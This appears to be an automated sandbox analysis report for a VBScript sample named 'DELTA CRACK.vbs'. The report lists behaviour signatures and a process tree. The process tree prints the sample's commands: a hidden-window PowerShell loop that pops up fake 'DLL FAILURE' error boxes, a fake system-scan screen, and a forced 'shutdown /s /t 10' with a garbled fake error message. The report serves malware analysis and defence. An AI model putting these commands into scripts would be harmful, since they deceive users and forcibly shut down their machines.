Analysis
- user interaction
yes - max time kernel
57s - max time network
62s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
30/06/2026, 22:25
Errors
General
- Target DELTA CRACK.vbs
- Size 1KB
- Sample260630-2cb1fahs3k
- SHA256 3df7b178f0e1fc5fcaf6bfc21a32ca62d4a38f8364ab88822e3a96e78a1f8b45
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies data under HKEY_USERS 4 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DELTA CRACK.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c color 0a && title SCANNING SYSTEM32... && mode con: cols=80 lines=25 && dir c:\windows\system322⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mode.commode con: cols=80 lines=253⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "for ($i=0; $i -lt 20; $i++) { Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('EÌ·RÌ·RÌ·OÌ·RÌ·:Ì· Ì·DÌ·LÌ·LÌ· Ì·FÌ·AÌ·IÌ·LÌ·UÌ·RÌ·EÌ·', 'Critical Error'); Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 200) }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c shutdown /s /t 10 /c "Delta Client Error: ²Ô²ÔÎÂËÔÂËÔÔËÄÂÃÔÂËÄÔÃÂÄËACñâÂÔ²"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\shutdown.exeshutdown /s /t 10 /c "Delta Client Error: ²Ô²ÔÎÂËÔÂËÔÔËÄÂÃÔÂËÄÔÃÂÄËACñâÂÔ²"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\PickerHost.exeC:\Windows\System32\PickerHost.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a10055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4hiqj12i.uee.ps1
memory/1932-11-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-7-0x00000253BAB90000-0x00000253BABB2000-memory.dmp
memory/1932-6-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-9-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-10-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-0-0x00007FF99D86F000-0x00007FF99D870000-memory.dmp
memory/1932-12-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-13-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-14-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-15-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-16-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-17-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-18-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp
memory/1932-21-0x00007FF99D6E0000-0x00007FF99E084000-memory.dmp